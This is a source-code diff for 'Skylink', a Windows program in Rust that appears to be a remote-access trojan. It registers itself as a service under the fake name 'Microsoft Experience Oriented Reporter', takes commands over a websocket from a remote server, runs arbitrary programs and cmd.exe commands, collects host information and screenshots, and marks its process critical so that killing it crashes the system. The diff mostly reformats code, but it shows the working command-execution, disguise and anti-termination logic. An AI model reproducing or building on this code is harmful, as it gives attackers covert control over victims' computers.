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5 changed files with 156 additions and 145 deletions

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@ -1,7 +1,6 @@
use futures_util::stream::SplitSink; use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god; use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use serde_json::json;
use std::sync::Arc; use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex}; use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message; use tokio_tungstenite::tungstenite::protocol::Message;
@ -45,7 +44,7 @@ pub enum Command {
ClientInfo, ClientInfo,
Dnx { params: DnxParams }, Dnx { params: DnxParams },
Screenshot, Screenshot,
LowTierGod, LowTierGod
} }
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> { pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@ -57,7 +56,6 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await; log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
let proc = std::process::Command::new(command).args(args).output()?; let proc = std::process::Command::new(command).args(args).output()?;
return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string()); return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
// return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string())
} }
Command::URunCMD { command } => { Command::URunCMD { command } => {
let formatted_param = format!("cmd.exe /c \"{command}\""); let formatted_param = format!("cmd.exe /c \"{command}\"");
@ -80,12 +78,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
Command::ClientInfo => { Command::ClientInfo => {
let hostname = sysinfo::System::host_name(); let hostname = sysinfo::System::host_name();
let skylink_ver = "1.0.0"; let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname { if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
} else {
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
}
} }
Command::Dnx { params } => { Command::Dnx { params } => {
log(LogLevel::Debug, LOG_PATH, format!("s1")).await; log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
@ -128,11 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
} }
// this was way easier than i expected... assuming it works :pilgrim2: // this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!("")) Ok(format!(""))
} },
Command::LowTierGod => { Command::LowTierGod => {
let _ = low_tier_god().await; // if this fails you're fucked let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!("")) Ok(format!(""))
} },
_ => todo!(), _ => todo!(),
} }
} }

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@ -38,21 +38,10 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
} }
}; };
let debug_mode = cfg!(debug_assertions); println!("{}", ansi_string);
if !(level == LogLevel::Debug) {
println!("{}", ansi_string);
if let Err(e) = logfile.write(logfile_string.as_bytes()) { if let Err(e) = logfile.write(logfile_string.as_bytes()) {
eprintln!("Got error {:?} while trying to write to logfile.", e); eprintln!("Got error {:?} while trying to write to logfile.", e);
}
} else {
if debug_mode {
println!("{}", ansi_string);
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
eprintln!("Got error {:?} while trying to write to logfile.", e);
}
}
} }
} }
} }

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@ -1,6 +1,5 @@
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log}; use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
use futures_util::{SinkExt, StreamExt}; use futures_util::{SinkExt, StreamExt};
use serde_json::json;
use tokio_tungstenite::connect_async; use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::{Bytes, Message}; use tokio_tungstenite::tungstenite::{Bytes, Message};
@ -93,7 +92,7 @@ pub async fn websocket_handler(ws_tx: WsTx) {
let mut unlocked_ws_tx = ws_tx.lock().await; let mut unlocked_ws_tx = ws_tx.lock().await;
if let Some(h) = unlocked_ws_tx.as_mut() { if let Some(h) = unlocked_ws_tx.as_mut() {
let response_msg = json!({ "err": "null", "out": v }).to_string(); let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}");
if let Err(e) = h.send(response_msg.into()).await { if let Err(e) = h.send(response_msg.into()).await {
log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await; log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;

View file

@ -92,29 +92,43 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
} }
pub fn mark_process_critical() -> anyhow::Result<()> { pub fn mark_process_critical() -> anyhow::Result<()> {
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
unsafe { unsafe {
// NtCurrentProcess pseudo-handle (-1) // NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void; let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 1; let mut critical: u32 = 1;
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32); let status = NtSetInformationProcess(
if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) } handle,
} ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
if status == 0 {
Ok(())
} else {
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
}
}
} }
pub async fn low_tier_god() -> anyhow::Result<()> { pub async fn low_tier_god() -> anyhow::Result<()> {
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination}; use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE}; use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
unsafe { unsafe {
// NtCurrentProcess pseudo-handle (-1) // NtCurrentProcess pseudo-handle (-1)
let handle: HANDLE = (-1isize) as usize as *mut c_void; let handle: HANDLE = (-1isize) as usize as *mut c_void;
let mut critical: u32 = 0; let mut critical: u32 = 0;
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32); let status = NtSetInformationProcess(
assert_eq!(status, 0); handle,
} ProcessBreakOnTermination,
&mut critical as *mut _ as *mut _,
core::mem::size_of::<u32>() as u32,
);
assert_eq!(status, 0);
}
std::process::exit(1); std::process::exit(1);
} }

View file

@ -1,40 +1,43 @@
use skylink::LOG_PATH;
use skylink::WsTx;
use skylink::lib::logger::{LogLevel, log}; use skylink::lib::logger::{LogLevel, log};
use skylink::lib::websockets::websocket_handler; use skylink::lib::websockets::websocket_handler;
use skylink::lib::winapi::mark_process_critical; use skylink::lib::winapi::mark_process_critical;
use std::ffi::OsString; use skylink::LOG_PATH;
use skylink::WsTx;
use std::sync::Arc; use std::sync::Arc;
use std::sync::mpsc::channel;
use std::time::Duration;
use tokio::sync::Mutex; use tokio::sync::Mutex;
use std::ffi::OsString;
use std::time::Duration;
use std::sync::mpsc::channel;
use windows_service::{ use windows_service::{
define_windows_service, define_windows_service,
service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType}, service::{
service_control_handler::{self, ServiceControlHandlerResult}, ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
service_dispatcher, ServiceType,
},
service_control_handler::{self, ServiceControlHandlerResult},
service_dispatcher,
}; };
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter Yacc (Debug Enableable Version)"; const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS; const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
fn main() -> Result<(), Box<dyn std::error::Error>> { fn main() -> Result<(), Box<dyn std::error::Error>> {
// Initialize logging // Initialize logging
// Check if we are in a Debug build AND the environment variable is set // Check if we are in a Debug build AND the environment variable is set
let is_debug_mode = cfg!(debug_assertions); let is_debug_mode = cfg!(debug_assertions);
let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok(); let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
if is_debug_mode && force_console { if is_debug_mode && force_console {
println!("Detected Debug Env Var: Running as console application..."); println!("Detected Debug Env Var: Running as console application...");
run_as_console()?; run_as_console()?;
} else { } else {
// Run as a Windows Service // Run as a Windows Service
run_as_service()?; run_as_service()?;
} }
Ok(()) Ok(())
} }
// ------------------------------------------------------------------------- // -------------------------------------------------------------------------
@ -45,9 +48,7 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx: WsTx = Arc::new(Mutex::new(None));
let ws_tx_for_handler = Arc::clone(&ws_tx); let ws_tx_for_handler = Arc::clone(&ws_tx);
tokio::spawn(async { tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
websocket_handler(ws_tx_for_handler).await;
});
// this isn't necessary for program functioning // this isn't necessary for program functioning
// and also error handling this is a PITA // and also error handling this is a PITA
@ -55,15 +56,15 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
let is_debug_mode = cfg!(debug_assertions); let is_debug_mode = cfg!(debug_assertions);
let force_console = std::env::var("SKL_NON_CRITICAL").is_ok(); let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
if !(is_debug_mode && force_console) { if !(is_debug_mode && force_console) {
let _ = mark_process_critical(); let _ = mark_process_critical();
} }
// Wait for the shutdown signal // Wait for the shutdown signal
tokio::select! { tokio::select! {
_ = shutdown_rx.recv() => { _ = shutdown_rx.recv() => {
log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await; log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
} }
} }
} }
// ------------------------------------------------------------------------- // -------------------------------------------------------------------------
@ -71,27 +72,27 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
// ------------------------------------------------------------------------- // -------------------------------------------------------------------------
fn run_as_console() -> Result<(), Box<dyn std::error::Error>> { fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
// Manually build the runtime because main() is synchronous // Manually build the runtime because main() is synchronous
let rt = tokio::runtime::Runtime::new()?; let rt = tokio::runtime::Runtime::new()?;
rt.block_on(async { rt.block_on(async {
// Create a channel to signal shutdown // Create a channel to signal shutdown
let (tx, rx) = tokio::sync::broadcast::channel(1); let (tx, rx) = tokio::sync::broadcast::channel(1);
// Handle Ctrl+C to behave like a polite console app // Handle Ctrl+C to behave like a polite console app
let tx_clone = tx.clone(); let tx_clone = tx.clone();
tokio::spawn(async move { tokio::spawn(async move {
if let Ok(()) = tokio::signal::ctrl_c().await { if let Ok(()) = tokio::signal::ctrl_c().await {
println!("\nCtrl+C detected."); println!("\nCtrl+C detected.");
let _ = tx_clone.send(()); let _ = tx_clone.send(());
} }
});
// Run the app
run_app(rx).await;
}); });
// Run the app Ok(())
run_app(rx).await;
});
Ok(())
} }
// ------------------------------------------------------------------------- // -------------------------------------------------------------------------
@ -102,62 +103,77 @@ fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
define_windows_service!(ffi_service_main, my_service_main); define_windows_service!(ffi_service_main, my_service_main);
fn run_as_service() -> Result<(), windows_service::Error> { fn run_as_service() -> Result<(), windows_service::Error> {
service_dispatcher::start(SERVICE_NAME, ffi_service_main) service_dispatcher::start(SERVICE_NAME, ffi_service_main)
} }
fn my_service_main(_arguments: Vec<OsString>) { fn my_service_main(_arguments: Vec<OsString>) {
// 1. Setup the event handler to communicate with the OS // 1. Setup the event handler to communicate with the OS
let (shutdown_tx, shutdown_rx) = channel(); let (shutdown_tx, shutdown_rx) = channel();
let event_handler = move |control_event| -> ServiceControlHandlerResult { let event_handler = move |control_event| -> ServiceControlHandlerResult {
match control_event { match control_event {
ServiceControl::Stop | ServiceControl::Interrogate => { ServiceControl::Stop | ServiceControl::Interrogate => {
// Signal the logic to stop // Signal the logic to stop
let _ = shutdown_tx.send(()); let _ = shutdown_tx.send(());
ServiceControlHandlerResult::NoError ServiceControlHandlerResult::NoError
} }
_ => ServiceControlHandlerResult::NotImplemented, _ => ServiceControlHandlerResult::NotImplemented,
}
};
let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
Ok(h) => h,
Err(e) => {
eprintln!("Failed to register service control handler: {}", e);
return;
}
};
// 2. Tell Windows we are running
let next_status = ServiceStatus {
service_type: SERVICE_TYPE,
current_state: ServiceState::Running,
controls_accepted: ServiceControlAccept::STOP,
exit_code: ServiceExitCode::Win32(0),
checkpoint: 0,
wait_hint: Duration::default(),
process_id: None,
};
if let Err(e) = status_handle.set_service_status(next_status) {
eprintln!("Failed to set service status: {}", e);
} }
};
let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) { // 3. Start Tokio Runtime and Block
Ok(h) => h, // We create the runtime here because we are on the service thread provided by Windows.
Err(e) => { let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
eprintln!("Failed to register service control handler: {}", e);
return;
}
};
// 2. Tell Windows we are running rt.block_on(async move {
let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None }; let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
if let Err(e) = status_handle.set_service_status(next_status) {
eprintln!("Failed to set service status: {}", e);
}
// 3. Start Tokio Runtime and Block // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
// We create the runtime here because we are on the service thread provided by Windows. tokio::spawn(async move {
let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
// or just poll it if we expect it to be rare.
// Since this is the main logic block, we can just check it in a separate thread.
let _ = tokio::task::spawn_blocking(move || {
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
}).await;
let _ = async_tx.send(()); // Tell app to stop
});
rt.block_on(async move { run_app(async_rx).await;
let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
// Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
tokio::spawn(async move {
// This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
// or just poll it if we expect it to be rare.
// Since this is the main logic block, we can just check it in a separate thread.
let _ = tokio::task::spawn_blocking(move || {
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
})
.await;
let _ = async_tx.send(()); // Tell app to stop
}); });
run_app(async_rx).await; // 4. Tell Windows we have stopped
}); let stop_status = ServiceStatus {
service_type: SERVICE_TYPE,
// 4. Tell Windows we have stopped current_state: ServiceState::Stopped,
let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None }; controls_accepted: ServiceControlAccept::empty(),
let _ = status_handle.set_service_status(stop_status); exit_code: ServiceExitCode::Win32(0),
checkpoint: 0,
wait_hint: Duration::default(),
process_id: None,
};
let _ = status_handle.set_service_status(stop_status);
} }